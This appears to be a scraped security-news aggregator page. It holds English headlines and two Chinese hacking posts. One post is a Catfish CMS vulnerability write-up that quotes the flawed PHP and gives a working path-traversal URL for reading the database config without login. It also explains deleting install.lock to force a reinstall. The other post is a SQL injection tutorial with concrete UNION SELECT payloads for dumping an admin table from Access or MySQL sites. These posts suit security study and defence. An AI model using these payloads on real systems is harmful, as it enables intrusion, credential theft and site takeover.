Aggregator
From DDoS to Server Ransomware: Apache Struts 2 – CVE-2017-5638 Campaign
面向复杂人物性格特征的催更设计与实现
Chrome又种草——网格布局来了
Catfish CMS两处任意文件操作
闲来无事做,好久不挖洞了..搞安卓搞得心烦意乱..花半小时挖点小cms调节一下。
任意文件删除漏洞触发点:在/application/user/controller/Index.php中第93行:
public function touxiang() { $this->checkUser(); if(Request::instance()->isPost()) { //验证输入内容 $rule = [ 'avatar' => 'require' ]; $msg = [ 'avatar.require' => Lang::get('Please upload your avatar') ]; $data = [ 'avatar' => Request::instance()->post('avatar') ]; $validate = new Validate($rule, $msg); if(!$validate->check($data)) { $this->error($validate->getError());//验证错误输出 return false; } $avatar = Db::name('users') ->where('id', Session::get($this->session_prefix.'user_id')) ->field('avatar') ->find(); $yuming = Db::name('options')->where('option_name','domain')->field('option_value')->find(); //删除原图 if(Request::instance()->post('avatar') != $avatar['avatar']) { $yfile = str_replace($yuming['option_value'],'',$avatar['avatar']); if(!empty($yfile)){ $yfile = substr($yfile,0,1)=='/' ? substr($yfile,1) : $yfile; $yfile = str_replace("/", DS, $yfile); @unlink(APP_PATH . '..'. DS . $yfile); } } $data = ['avatar' => Request::instance()->post('avatar')]; Db::name('users') ->where('id', Session::get($this->session_prefix.'user_id')) ->update($data); } $this->receive(); $this->assign('active', 'touxiang'); $view = $this->fetch(); return $view; }
可以看到这里有个unlink的操作,我们看一下参数有一个$yfile:
回溯一下该变量,发现源头的是我们从数据库中取出的avatar经过替换得到的一个字符串,那么数据库里的avatar是什么值呢?
我们可以看到,这个其实就是我们编辑完头像的名字存到数据库里的,那么如果这个东西可控的话,那么unlink的文件也是可控的,那么我们就可以达到一个任意文件删除的目的了。那么这个入库的东西到底可不可控呢?答案是可控的
就看这两处:
可以看到其实直接将我们post过来的avatar变量入了库,没有进行检测,导致我们可以构造任意的值。达到一个任意文件删除的目的。
漏洞利用
利用也很简单:
首先注册登录一个账号,然后构造发包:
然后再POST一次不同的avatar的值,就可以删除掉install.lock文件了,达到一个重装的效果。
任意文件读取漏洞触发点我对于这个漏洞是很奇怪的,并没有搞懂开发人员的想法,在/application/multimedia/controller/Index.php中的index方法:
public function index() { if(Request::instance()->has('path','get') && Request::instance()->has('ext','get') && Request::instance()->has('media','get')) { if(Request::instance()->get('media') == 'image') { echo APP_PATH.'plugins/'.Request::instance()->get('path'); header("Content-Type: image/".Request::instance()->get('ext')); echo file_get_contents(APP_PATH.'plugins/'.Request::instance()->get('path')); exit; } } }
这三个参数可控,并且没有任何过滤,这个controller也没有任何权限验证,所以说直接不用登陆就可以读取任意文件,比如说读取配置文件:
http://localhost/catfish/multimedia/index/index.html?ext=jpg&media=image&path=../database.php
渣渣洞,没有多高技术含量,仅供学习。
SambaCry, the Seven Year Old Samba Vulnerability, is the Next Big Threat (for now)
Cyber Insurance: Read the Fine Print!
Cybercriminals Learn to Love Extensions like Toolbars in Targeted Attacks
In the late 90s and early 2000s, most web browsers came with small, add-on programs to enhance browsing. Most of...
The post Cybercriminals Learn to Love Extensions like Toolbars in Targeted Attacks appeared first on McAfee Blog.
Can Audits Help Us Trust Third Parties?
DeepEnd Research: Analysis of Trump's secret server story
SANS2017情报调查报告
March 2017 security update release
March 2017 security update release
Will Deception as a Defense Become Mainstream?
自动化工具层级图 - r00tgrok
DNS Is Still the Achilles’ Heel of the Internet
Security’s “Rule Zero” Violated Again With Zero-Day Apache Struts 2 Exploit
[Reversing.kr] Easy ELF Writeup - Zhengjim
移位溢注:告别依靠人品的偏移注入
在Access数据库类型注入的时候,我们获取不到列名(前提是有表名),一般会选择使用偏移注入,但是这种注入方式往往借助的是个人的人品,且步骤繁琐。本文中我们研究了一种新的注入技术让“偏移注入不在需要人品”。在这里定义这种注入技术为:“移位溢注技术”。 它适用于ACCESS和MYSQL(任何版本)
正文:我们先来看看普通的偏移注入步骤:
1.判断注入点 2.order by 判断长度 3.判断表名 4.联合查询 5.获取表中列数:**union select 1,2,3,4,..,\* from TABLE** 6.开始偏移注入:**TABLE as a inner join TABLE as b ona.id=b.id**由于步骤6的方法过于需要人品值,且语句繁琐,因此在这里,我们研究新的注入技术:
首先来看看步骤6语句的整体意思:
步骤6的语句,表示给TALBE取2个别名,然后分别用别名取查询TALBE的内容(表a和表b);而on a.id = b.id 这样的条件是为了满足语法需求,实际并没有作用,因为相同内容的表,相同字段内容一定相同。
这时,我们再回过头来看步骤5:
由于联合查询中select后面添加数字的目的是为了让联合查询返回接结果和网站正常查询返回的结果的列数一致(不一致数据库会报错,页面无法显示),且*表示通配符,可以表示整个表格所有列;因此这里通过数字来占位,并使用*来替代TABLE中的所有列,使得联合查询可以完成,并推算出*的值。
这时候我们继续研究偏移注入的整体公式方法,发现即使使用多级偏移注入也需要一定的概率(人品值)才可以得到想要的结果,所以我们就尝试研究新的方法能不能替换这种不固定概率的方法。
现在我们重新整理一下SQL语句,从联合查询开始:
1.原union语句:union select 1,2,3,..,p..,n from TABLE
(p=页面爆出的数字,可能有多个p1,p2..;n=原网站查询的总列数;TALBE=我们获得的表名;下面开始就使用上述字母的定义)
2.新语句:
union select 1,2,3,..,p-1,TABLE.*,p+k,..,nfrom TABLE where 字段名 = 字段内容
–在p的位置爆出TALBE表中第一个字段的内容(其他位置还可能爆出更多内容)
(这里如果存在已知字段名可以使用,没有就不用,一般id这个字段时存在的,可以使用id = 1来显示第一行)
union select1,2,3,..,p-2,TABLE.*,p+k-1,..,n from TABLE where 字段名 = 字段内容
–在p的位置爆出TALBE表中第二个字段的内容(其他位置还可能爆出更多内容)
union select 1,2,3,..,p-3,TABLE.*,p+k-2,..,nfrom TABLE where 字段名 = 字段内容
–在p的位置爆出TALBE表中第三个字段的内容(其他位置还可能爆出更多内容)
注:这里一定是TALBE.而不是
3.1 以此类推可以爆出TALBE的每一列内容。
3.2 如果p<k则没法爆出p+1列至k列的内容,如果n-p<k则无法爆出第1列至k-(n-p)列。
原理:1.由原语句:union select 1,2,3,..,p..,n-k,* from TABLE 可以得出该联合查询的目的是构造和原网站相同列数的查询结构,使得页面上可以显示对应的数字;这条语句相当于是做了两次查询并将它们的结果合并,第一次做了select 1,2,3,..,n-k from TALBE ,第二次做了select * from TALBE ,然后将它们的结果合并。
这可以参考mysql的语句:select 1,2,3,4,5,admin.* from admin;
2.只要满足原理1的要求,保障联合查询的结果和原网站查询的结果列数一致即可;因此可以将TALBE.*向前移动至页面显示的数字处来爆出TALBE列中的内容。
这可以参考mysql的语句:
select 1,2,3,4,5,6,7,8,9,10 from newswhere id =1 union select 1,2,3,4,5,6,7,admin.* from admin; select 1,2,3,4,5,6,7,8,9,10 from newswhere id =1 union select 1,2,3,admin.*,7,8,9,10 from admin;注:假设数字4、5在页面显示。
由下图可知,其实数据已近查询出来,但是页面没有显示,这个是通过平移查询结果到页面显示的数字上去,即可爆出敏感字段。
例子:步骤1:判断注入点是否存在
步骤2:
步骤3:获得表名(必备条件) and exists(select * from admin)
步骤4:获取不了列名(当尝试多个常用字段名以后,最终还是发现无法获得字段名)
步骤5:使用联合查询(union select)
步骤6:使用新注入技术方法
(1)获取admin表的列数:
UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,*from admin #--返回错误页面 UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,*from admin #--返回错误页面 UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,*from admin #--返回错误页面 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,*from admin #--返回错误页面 ..... UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,*from admin #--返回步骤5页面,因此admin表的列数为6(2)由于网页中包含连续数字,表示可以显示连续的查询结果,构造SQL语句查询前四列第一行。
UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35from admin UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35from admin where id = 3 总结在这里我们命名这种新注入技术为”移位溢注”。由此如果MYSQL小于5.0的情况下所具备的条件和ACCESS一样,也可以使用此方法注入,如果是MYSQL大于5.0的版本,使用此方法可以省去获得列名的步骤。
文章研究:gh0stkey & Seagull
MWC 2017: What We Learned About the Mobile Landscape
MWC (Mobile World Congress) has come and gone yet again, and over the course of the four-day conference we’ve seen...
The post MWC 2017: What We Learned About the Mobile Landscape appeared first on McAfee Blog.